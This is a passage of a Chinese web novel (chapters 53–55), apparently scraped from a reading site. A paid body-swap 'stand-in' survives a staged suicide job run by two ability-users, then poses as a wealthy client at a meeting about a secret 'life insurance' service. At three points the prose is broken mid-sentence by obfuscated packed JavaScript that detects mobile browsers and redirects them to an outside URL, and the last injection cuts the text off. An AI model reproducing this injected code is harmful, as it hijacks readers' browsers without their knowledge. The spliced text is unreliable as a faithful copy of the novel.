当初他拆穿郑常新,周拾秋怀疑他找人调查过郑常新,只是动机不明,无法佐证想法。 庾林的话听上去并不像调查过,却似乎相当笃定,真如他所说,察言观色能知道这么多细节? 实在可疑。 可惜,她如今没有精力研究庾林的问题,她需要借助庾林的身份拿到暗魈需要的东西,然后换取对抗郑常新的筹码。 也许,她还可以借着获取遗产继承协议的机会,调查一下五年前的案子。 接近傍晚时,齐绮垂头丧气回到花店,光看她表情,就知道进展不顺利。 她的朋友律师很愿意帮忙,可手上没有实证,暂时没法做出反制,只能托人查查看信息散播的源头,要求平台方删除负面言论。 不过,帮助不大,花店名誉已然受损,这种办法治标不治本。 朋友建议搜集对方造谣的证据,然后起诉对方,要求公开道歉澄清。 周拾秋坦言,已经找人帮忙寻找扳倒郑常新的筹码,并让齐绮不用太过担心,至于具体如何进行,她并未细说,只是向齐绮保证,不会为了对付郑常新这种垃圾,随便暴露进化者的身份。 嘴上虽安慰了齐绮,可惨淡的现实依旧令周拾秋愁眉不展,一边等待着庾林的消息,一边等待着暗魈的回应,一味的等待足以令她焦虑。 夜里躺在床上,满脑子都是网上诋毁的言论,论坛里原始帖被屏蔽掉了,然后又出现新的讨论帖,热度根本压不下去。 甚至因为平台出手,更加深了网友的质疑,怒喷平台向理想者滑跪,抵制的声音更甚。 周拾秋翻看着跟病毒传播似的讨论帖,脑袋胀痛,闭上眼,满脑子想的都是该如何与人争论。 终于忍住不再关注论坛,她又不时点开庾林的私信界面,犹犹豫豫在对话框输入一段询问进展的话,又觉得太急不礼貌,便在后悔中删掉。 反反复复纠结良久,手指都被咬疼了,周拾秋才将手机塞到枕头下,用被子遮住头,告诉自己:“别想了,别想了,再想也没用!” 迎接她的,是失眠的痛苦。 翻来覆去,挣扎许久,眼看着时间走过零点,越过凌晨一点,跨过凌晨两点…… 实在睡不着,周拾秋又从枕头下找回手机,登录危机管理局,在任务大厅里看了看是否有任务。 然后一眼瞥见一个挂了半个小时都没人接取的任务,任务奖金27.41万。 大厅里很少出现金额这么高的任务,还有零有整,一下吸引了周拾秋的注意,她饶有兴致的点进任务看了看。 任务名:急!在线等!想死随便来个人。 “理想者压力这么大吗?这么多人想自杀?”周拾秋小声嘀咕。 这种任务一般很少出现在任务大厅里,就算真有人挂出任务,大多时候也不会有危代人接取,毕竟,死前痛苦谁愿意帮忙承受啊? 此时有不少危代人跟周拾秋一样,被高额奖金吸引进了任务版块,他们蹲守在任务下面,并不是想接取任务,而是好奇会不会有人为了钱接下这个变态任务。 53. 第053章 约有十来个危代人聚集在任务版块里,七嘴八舌地讨论着关于这个奇葩任务的话题。 有人嘲讽理想者矫情,有这么多钱,还要死要活;有人好意奉劝委托人想开些,不如拿钱做点开心的事,如果有困难,也可以发任务委托别人帮忙解决;有人则煽风点火,怂恿别人接取任务,想看看委托人到底是不是真想死…… 在嘈杂的讨论声中,委托人始终没有露面,然后就有人开始怀疑:委托人是不是已经等不及,直接进入了自杀阶段? 【赚钱买大浩斯:哇,再不接,这么多钱就浪费了啊……】 见有人舍不得奖金,一些围观的人顺势起哄,怂恿这人接取任务。 【神的指引:当心陷阱,看着金额,说不定是委托人全部家当。】 【赚钱买大浩斯:啥意思?】 【神的指引:懂的都懂,不懂可以私我。】 这个熟悉的ID,周拾秋忍俊不禁,只觉暗魈也挺闲的,大半夜不睡觉,还趁机散播阴谋论。 【乌鸦:@神的指引这是任务大厅,没有特别协议支持,你可能走错片场了。】 【神的指引:……】 周拾秋只是忍不住调侃了一句,立马有人认出了她的ID,接着她便成了今晚的乐子。 【强者:哟,这不是乌鸦大神吗?】 【萎脱壬:哈哈,怎么协议委托人也来任务大厅找工作了?这么快就被开除了?】 【甜坦:喂,大神,你这么厉害要不去看看这个委托人死了没?】 …… 听着一堆阴阳怪气的嘲讽,周拾秋手指狠狠戳着手机屏,恨不得将这些人从屏幕后拽出来暴揍一顿。 也许是被旁人的轻视激怒,也许是受奖金的诱惑,还有可能是对最近自杀案的好奇,周拾秋爬下床,穿过一地花束,摸到书桌旁。 她翻箱倒柜一顿翻找,最后在柜子角落里找到了危代人的通用手环,然后戴到另一只手上,开机连接危机管理局服务器。 重新跳回床上,周拾秋接取了那个寻死任务。 意识瞬间切换,周拾秋睁开眼,冷冽的风刮在脸上,然后从四面八方往领口袖口裤腿里灌。 下意识抓紧领口,周拾秋才发现自己正站在天台边缘,眼前是绚丽的城市街景,只要往前踏出半步,身体就会从三十多层高楼坠落。 风从身后轻轻推了她一把,身子便有些失去平衡,腿一软,周拾秋赶忙抓紧身后栏杆,胳膊牢牢锁在上面,半蹲着将整个人挂在了栏杆上。 委托人是个女人,细胳膊细腿,穿着睡衣就站在了屋顶,似乎当真一心求死。 周拾秋心里感慨着委托人真大胆,偏偏选择这种死法,忽然一股气息随风钻进毛孔,她浑身一激灵。 天台上不止委托人一人。 她正要回头,一只大手猛地抓住后衣领,轻松往上一提,便将周拾秋整个人拎了起来,双脚凌空,幸好两只胳膊抱紧了栏杆,才稳住身躯。 “嚯,还真有要钱不要命的傻子,惜宁,该你出手,赶紧完事,楼顶冷死了。” 一个粗犷的男子声音从身后传来,正是拎起周拾秋的那只大手的主人。黑暗中,一个庞大的身躯站在栏杆后,一只手抓住栏杆,一只手抓住周拾秋的后衣领将她提起。 天台上没有光,周拾秋看不清男人的长相,只觉男人的体型比一般人魁梧,足有2米高,站在黑暗中跟堵墙一样,膀子粗壮得吓人,力气更是离谱。 就在周拾秋努力分辨着黑暗中的人影时,揪住她后衣领的手力气陡增,耳边传来刺啦声,勒紧脖子的布料隐有撕裂的趋势。 胳膊被铁栏杆膈得生疼,手一软,身子便被背后那股力道带着飞了出去,最后摔落在天台上。 还好,男人并不打算将她扔下楼,而是将她从天台边缘拽了进来。 周拾秋脑子被摔得嗡嗡作响,与地面的撞击使得她浑身跟散架了一样疼。 她还没来得及从地上爬起来,耳边又传来轻微的电流滋滋声,接着是轮胎与地面摩擦的声音,一点点向她靠近,最终停在她面前。 眼前出现一辆电动轮椅,一双脚搁在踏板上,长裙一直遮到脚踝,坐在轮椅上的长发女子正低头俯视。 “蠢货,直接推下去不就好了,这下她看到我们了。”女子用轻柔的声音说着狠话。 什么情况? 这不是自杀,是谋杀? 隐藏在黑夜中的一男一女,虎视眈眈地盯着周拾秋,就像捕食者注视着猎物。四周浓烈的异能气息刺激着周拾秋每一根神经,让她一时不敢轻举妄动。 她努力感知着四周,试图分清局势,计算胜率。 两个进化者! 方才对她动手的高大男人,浑身气息外放,显然属于初阶进化者,强化系,威胁并不算大。反倒是眼前坐在轮椅上的长发女人,气息内敛,若隐若现,显然与她一样,属于高阶进化者,控制系,恐怕不好对付。 要动手吗?周拾秋冷静估算着与二人战斗的可行性。 一旦对抗起来,周拾秋的身份无疑会暴露。 “又以自杀收尾,那多无趣?大姐头的方法不行,进研所那群蠢人往进化者身上调查了,严重偏离最初目的,我们该替她修正修正。” 壮汉一把揪住周拾秋的头发,迫使她抬起头来,嘴里嘲讽道,“我还说来了个不怕死的,怎么这么快就吓傻了?真没意思。” 后脑勺的发根被揪得生疼,周拾秋咬着牙,用力掰着高大男人的手,低声质问:“你们是什么人,为什么要杀人?” “想杀就杀咯。”高大男人一手掐住了周拾秋的脖子,“惜宁,快动手。” “蠢货,别命令我,滚开。” 长发女人低骂一声,高大男人忍气吞声松了手,周拾秋又被狠狠摔回地上,随后,长发女人细长的手指抬起了周拾秋的下巴,又尖又长的指甲陷入脸颊。 “嘶——” 周拾秋倒吸一口凉气,心中怒火正当翻涌,抬眼便对上一双阴气沉沉的眼瞳。 明明天台上很暗,可周拾秋能清晰地看到眼瞳中白色雾气翻涌。那雾气朦朦胧胧遮掩着一切,如沉香一般从眼中倾泻而出,逐渐在她身周围也蒙上了一层雾气。 四周陡然安静下来,那只掐着周拾秋下巴的手越来越用力,指甲割破脸颊皮肤,陷入肉中,鲜血顺着手指往下流,染红了手心手背。 周拾秋一巴掌打在长发女人的手上,扭头摆脱束缚,身子往旁边一滚,瞬间远离了长发女人。 她用手压住伤口止血,疼痛感让她逐渐丧失理智,心中只有一个念头:眼前的女人想要杀我……不可原谅! 就在她挣扎着从地上爬起来时,长发女人竟从轮椅上站了起来。 感觉一丝怪异,这女人可以站立,又为何要坐轮椅? 来不及细想,长发女人迈步朝她冲了过来,双手掐住她的脖子,将她推到了天台边缘。 周拾秋的腰狠狠撞击在铁栏杆上,一声尖叫被逼出了口,长发女人死死掐住她的脖子,将她压得身子后仰。 她拼命掰着脖子上那两只手,指甲在长发女人的手背上留下长长的抓痕,可长发女人丝毫不松手,一阵阵窒息感向她袭来,于是她伸手掐住了对方的脖子。 这一掐,她脖子上的力道竟松了一分,获得片刻喘息,她手上的力道也不由得加重几分。 随着她的力道加重,长发女人的力气就仿佛被抽走了似的,一点点变弱。周拾秋心中狂喜,竟莫名生出报复之意。 “是你想杀我,我只是正当防卫。”周拾秋嘴里重复着这句话,双手越掐越紧。 眼看着长发女人气息越来越微弱,局势调转,她翻身将长发女人压在了栏杆上,脑海中仿佛有一个声音在对自己说:“不能怪你,她先动手,一切都是她自找的,把她推下去!她不是自己想死吗?没人会怀疑到你头上的……” 是啊,她不过是接取了委托,原本就是委托人想要寻死,死了就死了,怪不得危代人。 长发女人的脸依旧看不清,只有手上的触感能清晰感觉到对方的生命在流逝。 左手腕上的手环,上面还显示着她接取的委托任务。 嗯,她只要杀了委托人,然后回到自己的身体,假装委托人是自杀就可以。 很简单,不会有人怀疑。 脑中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930517|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充斥着这样的想法,可忽然周拾秋意识到哪里不对。 手环? 只有一只手环? 对啊,她刚在大厅接取了任务,现在她在委托人的身体里,那她想杀的又怎么会是委托人呢? 就在她怀疑的一瞬间,她整个人陡然清醒过来,此刻她又站在了天台边缘,身后是铁栏杆,而她双手正掐着自己的脖子,大半个脚掌已经悬空。 周拾秋赶紧后仰,一把搂住栏杆,恰在此时双脚滑出了墙体,她整个人便悬挂在了天台边缘。 若不是清醒得及时,恐怕委托人的身体已经做了自由落体。 在惊恐与后怕中,周拾秋艰难地爬回了天台。翻过铁栏杆,周拾秋浑身瘫软,躺在地上大口喘着气。 等到情绪稍微冷静下来,周拾秋才想起刚才看见的一男一女。勉强撑起身子四下张望,哪里还有人影。 周拾秋急忙起身,朝天台大门走去。 来到电梯间,四部电梯停靠的楼层各不相同,一部停在周拾秋所在的顶层,另外三部也都在高层,没有停在底层的,也没有正在运行中的。 周拾秋转到楼梯间,探头从扶手的空隙中向下望,楼梯间里一片死寂,没有一盏灯亮起。 “奇怪,那两个人怎么离开的?什么时候离开的?”周拾秋忍不住小声自言自语。 很显然,方才她被长发女人的异能影响了,产生了奇怪的幻觉。 可整个过程并没有持续太长时间,而那一男一女在她被异能控制后,笃定她会自己把自己害死,所以先行离开了现场。 只是,周拾秋不知道那两个人是如何离开的,能消失得毫无痕迹…… 一切就仿佛只是一场梦,令人一头雾水。 周拾秋交了任务,返回自己身体,立马私信联系了委托人。 【乌鸦:你好,我是刚才接任务的危代人,你为啥发起自杀委托?】 对面并没有立刻回复,她等了差不多十分钟,对面才显示消息已读。 【委托人:不是我!天啊,有一个守旧者闯入我房间,把我绑到了天台,逼我自杀,逼我发起委托,还以所有积蓄为赏金!】 一段带着强烈情绪的发言出现在私信界面,看得周拾秋心头一紧。 果然不是自杀。 【乌鸦:你看清是谁了吗?】 【委托人:我想不起来了,只记得是个守旧者,我刚才已经向瑞波恩投诉了。谢谢你,没有替我自杀,我以为我死定了。】 委托人说威胁自己的是一个守旧者,却说不出那人的特征,而周拾秋见到的那两个人,特点过于明确,正常情况下委托人不可能不记得。 大概率委托人也被异能影响,产生了不真实的记忆。 从委托人的话中,周拾秋没能得到更多信息,犹豫之下,未将自己知道的情况告诉对方。 【委托人:对不起,任务赏金我没法支付,那是我所有积蓄。】 【乌鸦:理解。】 周拾秋满脑子都是那两个进化者,无数的疑问盘旋其中,对于这个怪异的委托任务不甚在意,自然也不图那份奖金。 委托人最终支付了5千作为酬谢,结束了私聊,也终结了这个非自愿的委托。 任务结束,但围观的危代人还聚在聊天室中,甚至不少人私信周拾秋,询问她委托人到底死了没有,当然他们更在意的是周拾秋有没有收到那笔巨款。 周拾秋没有闲心理会这些私信,她直接退出了危机管理局。 方才的遭遇与幻觉还历历在目,周拾秋倒回床上,异常疲惫,浑身骨头散架一般的疼痛、指甲刺破皮肤的真实感、被人掐住脖子的窒息……一切感觉留在意识中,难以消解。 这场委托耗尽了周拾秋所有精力,在遗留下的精神刺激下,精疲力竭的周拾秋终于在意识模糊中睡了过去。 这一觉睡得并不安稳,在梦中她仿佛回到那个天台,黑暗中站着的一男一女面目狰狞,一直追着她不放。 反复惊醒,又发现还在梦中,控制系进化者的异能对她的影响远比她想象严重。 好不容易摆脱噩梦,周拾秋从床上坐起,再也不敢闭眼了。 54. 第054章 天还未亮,周拾秋在房间里来回走动,收拾起满屋子开始干枯凋谢的花束,她努力用忙碌驱散被影响的思绪。 大约折腾了两小时,房间收拾完毕,天也亮了。 齐绮走出房间,发现周拾秋顶着两个厚重的黑眼圈呆坐在客厅里,一问之下才知道她昨晚遇上了怪事。 虽然知道对方无法对周拾秋造成实际伤害,但齐绮还是一脸担忧地询问着周拾秋有没有哪里感到不适,毕竟危代任务会影响危代人的精神状态。 不想齐绮担心,周拾秋没有告诉齐绮过多细节,同时隐瞒了自己差点被杀的经历,她将话题自然带到了对方的身份上。 “我可以肯定,那两个人都是进化者。”周拾秋断言,“其中一人是低阶强化系,一人是高阶控制系。” 齐绮问:“他们发现你了吗?” 周拾秋摇了摇头:“我没敢动用异能,并且还因为那个轮椅女生的异能产生了幻觉,等我清醒时,他们已经消失不见,多半没有发现。” “那就好。”齐绮沉下僵硬的肩膀,随后又疑惑地问,“他们为何要杀人?寻仇?为什么还让委托人发布任务?” 齐绮提出的疑问正是周拾秋看不懂的地方,那个高大男人说的话,让她觉得不像是仇杀,并且当时二人就像在等鱼上钩。 为什么要等危代人出现呢? 他们应该知道杀不死危代人,所以这么做有何意义?还有暴露他们存在的风险。 仔细回忆那两人的对话与行为,周拾秋相信他们带着某种目的,有意做了这件事,甚至他们背后还有其他人。 “最近的连环凶案,会不会与他们有关?”周拾秋大胆猜测。 齐绮思索着道:“听上去挺相似,都与自杀有关,可连环凶案的目标都是瑞波恩科技的VIP客户,目标选择不太一样啊……” “是啊……”周拾秋一时没有头绪。 “要不要将这件事告诉警方?”齐绮提议。 周拾秋闻言犹豫了。 事件涉及到进化者,免不了又得与进研所打交道,而且她该如何解释自己从进化者手里逃脱呢? 如果她不是进化者,挣脱了长发女人异能的控制,大概率委托人已经死了。 可作为普通人的她凭什么能摆脱进化者的精神控制,并清醒地记得那两个进化者,她的说辞与委托人对不上,岂不是自找麻烦? 思索了好一会儿,周拾秋摇头说:“算了,等等看瑞波恩会如何处理,也不知道委托人会不会报警,委托人的记忆与我不一致,我很难解释清。” “也对……”齐绮表示了理解。 稍微收拾好心情,周拾秋跟齐绮又如常开店营业。只可惜,在负面舆论的作用下,花店的生意并未好转。 大约上午10点过,周拾秋终于收到了庾林的消息。 【今天中午12点,应邀见瑞波恩协议主管,商谈遗产继承协议,你去。】 一句话交代完毕,如同爽快利落的交易,一切都像周拾秋期待般顺利进行着,说实话,她没想到庾林能如此配合。 感激的话正在输入,庾林又发来一条消息: 【别乱来。】 果然还是对她不放心…… 这份感动稍稍打了折,输入的文字立马删掉半截,那半感激的话被她咽回肚子里,发送出去的话只剩短短一句,带着些许不满。 ——知道啦,别这么提防我。 中午12点,手环准时亮起白光,庾林的委托任务如期而至。接受任务后,意识传送,周拾秋发现自己正坐在车里。 康管家坐在驾驶座上,回头望向周拾秋,轻声提醒:“周小姐,会面地点在5层,月眠厅,结束给我电话。” “好。” 周拾秋推门下车,才注意到围巾裹了半张脸,呼吸不太顺畅,为了不暴露,只能稍加调整,然后带着碍事的围巾和手套,在康管家担忧的目光注视下,走入了大堂。 这里是间大酒楼,装修风格富丽堂皇,看上去多用于商务宴请,走入酒楼的人也都着正装。 庾林身上也穿着名贵正装,只是那条足以上吊的围巾搭配起来格外怪异,致使路过的人总忍不住多看两眼。 “庾先生好!” 正当周拾秋埋头躲避旁人异样的眼光时,一个熟悉的声音传来。 一抬头,周拾秋便看到了客户经理023,他脸上洋溢着友善的笑,似乎一直等待着庾林的到来。 作为庾林的专属客户经理,023有义务做好对接工作,因此他出现在这里,周拾秋一点都不意外。 或者说,023出现让周拾秋自在不少。 有023带路,周拾秋轻松来到了会面的房间。023谨慎地敲了敲门,听见门内应了一声,他赶紧让到一旁,拉开门,请周拾秋入内。 023没有跟进房间,周拾秋强装镇定,迈步进入房间,房门在身后悄然关闭。 宽阔的房间里,只有一个穿着瑞波恩制服的中年男人坐在圆桌旁,细长的眼睛,带着职业微笑的脸,给人一种随和却高深莫测的感觉。 男人见客人进屋,礼貌起身相迎,用清亮的嗓音自我介绍:“纪骞宏,瑞波恩科技的协议主管,很高兴见到您。” 纪骞宏客气地朝周拾秋伸出手来,周拾秋却愣住了。 若有似无的异能气息从眼前男人身上渗出,乍一看像是错觉,可隐隐的不安却像看不见的细针,一下接着一下刺入周拾秋的皮肤。 这个男人也是进化者? 一股凉意爬上周拾秋的后背,甚至让她怀疑自己感知出现错乱。 怎么会短时间内遇上三个进化者? 根据感官判断,眼前这个男人大概是中阶变异系进化者,具体拥有什么异能,周拾秋无从辨别。 周拾秋本能地避开了纪骞宏伸向她的手,下一秒意识到这行为不妥,刚想抬手,忽又觉得放在庾林身上还算正常,于是便硬着头皮绕过纪骞宏,走到桌旁坐下。 她模仿着庾林冷漠的语调说:“不好意思,我不喜欢握手。” 纪骞宏握了一把空气,脸上露出一丝尴尬,缓缓收回手,插进裤兜,装出一副善解人意的模样,转回桌旁。 “是我失礼了,没提前弄清庾先生的忌讳,请勿介意。”纪骞宏体面地致歉。 落座后,纪骞宏按下服务铃,没一会儿几个服务生便推着送餐车进入房间,小心翼翼地将一道道看上去就很贵的菜品摆上桌,然后为两人倒上红酒,才悄然离开,将空间留给会面的客人。 看着桌上明显两个人吃不下的菜量,周拾秋只觉浪费,瑞波恩科技为了讨好VIP客户,真是舍得下血本。 纪骞宏笑着举起杯寒暄道:“感谢庾先生一直以来对瑞波恩的信任,在此,我代表瑞波恩敬您一杯。” 周拾秋无意应付这些场面话,更不愿与进化者长时间独处,这让她不得不打起十二分精神,藏起异能气息,避免被识破。 好在从庾林身上,她能找出一堆理由,于是她冷冷回绝道:“我心脏不好,又刚出院,不宜饮酒,我们还是聊正事吧。” 接连两次热脸贴上冷屁股,纪骞宏眼底闪过一丝不悦,可职业微笑终是掩盖了所有情绪,他熟练地应付着不好相处的客人。 他说:“好的,先由我向庾先生详细介绍遗产继承项目。” 遗产继承项目是瑞波恩科技为VIP客户定制的增值服务,其核心理念是保障VIP客户的利益最大化。 考虑到VIP客户可能面对的生命危险,为了提高协议危代人承受死亡痛苦的意愿,瑞波恩科技制定了遗产继承服务。 即,VIP客户遭遇不可逆的生命威胁时,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935875|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强制切换里人格,由协议危代人代替委托人承受死前苦痛。 作为精神补偿,协议危代人将继承协议设定的遗产。 这便是所谓的遗产继承补充协议。 当然,这只是对外版本。 “对于优质VIP客户,在补充协议基础上,我们还提供更高规格的生命保险,不知庾先生此次找瑞波恩,是否有意投入生命保险?”纪骞宏眼中闪过一道光,似乎终于讲到了重点。 生命保险? 周拾秋立马警觉,莫非暗魈口中的阴谋论真的存在? 而这个所谓的生命保险并不是所有VIP客户都知晓,否则庾林昨天不可能怀疑她想要杀人抢夺财产。 “生命保险是什么?”周拾秋故作不知。 纪骞宏身子微微后仰,望向周拾秋的目光藏着些许猜测,随后意识到什么,欣然一笑,客气开口:“看来庾先生对瑞波恩的业务并不太了解,生命保险是委托人遭遇死亡后的生命延续,正是继里人格项目后,为优质VIP客户量身定制的服务。” 周拾秋隐约觉得纪骞宏知道些什么,沉默着思索片刻,提出了看似不相干的问题:“纪先生在瑞波恩工作多长时间了?” 纪骞宏愣了愣神,有些看不懂眼前的客人,职业素养却令他不敢质疑,微笑答道:“七年了。” 周拾秋接着问:“五年前你就开始负责协议管理了吗?” “可以这么说,不过前几年我只是协议入库管理,当上主管是最近一年的事。”纪骞宏不敢怠慢,如实回答。 “那你应该知道我五年前签过遗产继承协议吧?”周拾秋神情冷峻。 纪骞宏微微一怔,赔笑道:“没错,所以刚才庾先生不知生命保险,我才有一点意外,想来是令尊私下购入,所以庾先生并不知情。” 庾林的父亲? 这个答案让周拾秋震惊不已,她心中清楚,最终使用这项保险的人并非庾林,这又是怎么回事? “有意思,既然我爸五年前帮我加入生命保险,那我险些葬身火海时,瑞波恩在做什么呢?”周拾秋盛气凌人地质问。 她的虚张声势起了作用,纪骞宏面露难色,本以为是一桩新买卖,谁知会遇上维权,顿时汗流浃背。 纪骞宏一边摸着后脖颈,一边思考着谨慎回话:“那时生命保险如约启动了,可不知为何,委托人的意识传送失败……” 周拾秋瞳孔微震,果然与她预想相同,当时委托人和瑞波恩阻碍了她回到自己身体。 当周拾秋陷入回想时,纪骞宏继续着歉意与推脱并存的解释,“调查结果显示,是进化者异能干扰,导致差错。万幸,庾先生平安无事。事后我们向令尊进行了解释,也取得了谅解,令尊表示不再追究,这件事令尊没有告诉您吗?” “没有……”周拾秋眉头紧锁。 “呃……大概是令尊想暗中保护您。”纪骞宏很机智地给出最为合理的理由。 纪骞宏的表现,不似撒谎,看样子,他当真不知当年实情。 周拾秋不得不怀疑,原本私危协议和生命保险都是庾林父亲暗中安排,可最终为何她会出现在张婶身上呢? 一切都是张婶的谋划? 可庾林父亲的态度属实古怪,不知其中还有什么隐情。 周拾秋尚未理清头绪,又听纪骞宏说道:“来之前我查了一下,与庾先生签订私危协议的危代人叫乌鸦,昨晚刚好出了件事,我觉得庾先生有必要知晓。” 听见纪骞宏突然提到自己,周拾秋挑了挑眉,“什么事?” 纪骞宏压低声音:“今早瑞波恩收到消息,又有一名委托人自杀了,警方要求瑞波恩配合调查,系统记录显示,昨夜该名委托人在任务大厅发布了自杀任务,而接取人正是乌鸦。” “什么?死了?”周拾秋惊得一跃而起。 55. 第055章 昨晚被周拾秋救下的委托人最后还是死了? 周拾秋简直不敢相信。 难道那两个进化者当时并未逃离现场,在她离开后,又找上委托人?这不可能啊,她可以确定,四周没有感受到异能气息,人应该是走远了才对。 那离开的两人又为何知道委托人没死呢?再次返回现场确认? 为何会突然出现这么多进化者?他们杀人的目的又是什么?杀人就杀人,又为何要执着于自杀呢?而且他们为什么要故意将危代人卷入其中?他们又是否与连环凶案有关呢? 处处透着诡异,让周拾秋脑中一片混乱。 纪骞宏的眼底闪过一丝疑惑,紧张地起身关心道:“庾先生没事吧?你知道我说的是谁吗?” 周拾秋慌乱地整理了一下围巾,将脸围得更严实些,好掩饰自己不安的神色,她压低声音,尽量让语气听上去泰然自若。 “不知道,只是前段时间刚好遇上些事,从警方口中得知最近自杀频发,惊讶又有人死了而已。” “哦,抱歉,是我思虑不周,吓到庾先生了。”纪骞宏欠身道歉,在看到周拾秋摇头后,才缓缓坐回原处。 周拾秋缓了缓神,故作随意地问:“究竟怎么回事?人是自杀,与我的协议危代人能有什么关系?” 纪骞宏一边察言观色,一边解释:“庾先生有所不知,那位委托人曾在半夜向瑞波恩客服投诉,说受到守旧者死亡威胁,被迫发出自杀委托,并以全部积蓄作为赏金。” “所以呢?你们不会觉得那个守旧者是我的协议危代人吧?”周拾秋有点想骂人。 “真相如何自有警方判断,瑞波恩只是提供相关信息。当晚恰好乌鸦接取了任务,而最后委托人以自杀收尾。” 纪骞宏表面不带任何感情色彩地平铺直叙,抛出了所有线索,然后摆出一副任君遐想的姿态。 周拾秋不知是不是因为话题涉及自身,所以有些敏感,她总觉得纪骞宏想将嫌疑往她身上引导,这让她略感不适。 “根据你刚才所言,瑞波恩收到过委托人本人的投诉,那是否意味着委托结束后,委托人平安无事呢?” 昨夜发生了什么,身为当事人的周拾秋自然清楚,可她并不能直接说出口,只能迂回地从纪骞宏的阐述中寻找突破口,诱导其排除她的嫌疑。 “您说的很对。”纪骞宏借机奉承了一句,然后又迅速调转了风向,“不过依然疑点重重,在委托任务终止两个小时后,该委托人坠楼身亡,而赏金最终全部汇入了乌鸦的账户。” “全部?”周拾秋目瞪口呆。 这与她的印象冲突,然而她现在也没法立马掏出手机确认账户。 看纪骞宏的表情,不像是编的,那此事大概率真的发生了,在周拾秋浑然不知的情况下。 “一切还是以调查结果为准,只是这个情况,我觉得有必要让您知晓。”纪骞宏露出一副善解人意的贴心模样,“介于这种情况,我想事先确认一遍,庾先生突然想要签订遗产继承补充协议的理由,是否与乌鸦有关?” 纪骞宏一脸真诚地望着周拾秋,话说得不算直白,可言下之意十分明了。 他就差把“是不是乌鸦逼你?是的话,你就眨眨眼。”这句话直接写脑门上了。瞧他那副为客户着想的模样,仿佛他自己都忘了前一刻还波澜不惊地说出了一个缺德项目——生命保险。 怎么?只有金主才是人吗? “不,全是我个人意愿,并且我相信我的协议危代人,她不是为了钱不择手段的人!我之所以计划签订遗产继承协议,纯粹是希望我遇到危险后,能适当补偿我的协议危代人。” 周拾秋不遗余力地自夸一番,言辞肯定,令纪骞宏傻眼。 笑容在脸上逐渐凝固,纪骞宏没料到眼前客户会是这样的态度,错愕地说:“庾、庾先生这么相信守旧者……呵,真是让人意外……我记得此前乌鸦收到了差评,你们原计划解约。” “误会罢了!”周拾秋冷冷截断话头,“这些不重要吧?我相信警方会调查清楚,还她清白,我们还是聊回生命保险吧。” “是……”纪骞宏面色阴沉了一瞬,又立马调整回职业微笑。 周拾秋总觉得面前这个进化者带着某种目的前来,显然她的态度不在计划之内,打乱了纪骞宏的思路。 “好的,请允许我再确认一次,庾先生需求的项目是遗产继承还是生命保险呢?”纪骞宏谨慎询问。 “两者加入条件有区别吗?” “当然。” 经纪骞宏详细介绍,周拾秋才总算明白为何瑞波恩会推出这种缺德服务项目。 遗产继承属于VIP客户的附加权益,只要成为VIP客户,便可自由选择开启这项服务,不收取额外费用,主要适用于寻求“安乐死”的客户。 生命保险属于VIP客户的定制服务,并不是所有VIP客户都有资格享有,主要适用于寻求“不死”的客户。这项无异于转生的秘密服务,价格不菲,开启需支付两千万,然后便可自定义转移多少资产。 “两千万!”周拾秋脱口而出, 两千万买一次重生机会,难怪不是所有人有资格享受这项服务。仅仅是偿还五百万债务,周拾秋就已经用尽全部力气与手段,要随便拿出两千万,简直不敢想。 一想到庾林父亲就曾花费两千万为儿子投入生命保险,她一时有些看不懂。 庾林父亲应该很爱庾林吧? 看不出……至少昨日会面时,周拾秋感受不到。 纪骞宏面带精明的笑,推销一般说道:“两千万摆脱致命威胁,重新开启新的人生,相当划算了。” “我没钱,遗产继承就行。” 周拾秋语气冰冷且坚定地回道。 且不说庾林账户里有没有那么多钱,光是私自挪用庾林的资产,就足以让周拾秋被判刑了。 庾林好歹帮了她的忙,这种缺德事普通人应该干不出来。 虽然她很想用最轻松的方式拿到与暗魈交易的筹码,但理智遏制住了她这种危险的想法。 纪骞宏对于她的回答似乎有些惊讶,可面对金主,他不敢失礼冒犯,愣了几秒,立马微笑着点头,“好的,如果今后庾先生对生命保险感兴趣了,可以告知瑞波恩,我们将竭诚为您服务。” 嘴里说着客套话,纪骞宏又招呼周拾秋趁热动筷。 席间,纪骞宏简单说明了继承协议签订的流程,一切手续可以在危机管理局网站上进行,等瑞波恩后台推送协议,她可以仔细阅读后,完成线上签署。 周拾秋随意听着,全程努力干饭,心想着:难怪这么大方摆一大桌,两千万的大单,不浪费点简直就是对大金主的蔑视。 若不是顶着庾林的脸面,周拾秋简直恨不得打包。 饭吃到一半,手机收到一条消息,周拾秋一边往嘴里送菜,一边翻看手机。 消息来自“最伟大的危代人”,寥寥几个字,却让周拾秋觉得送进嘴里的美味瞬间不香了。 【下午2点,到禁仿西区警局配合调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 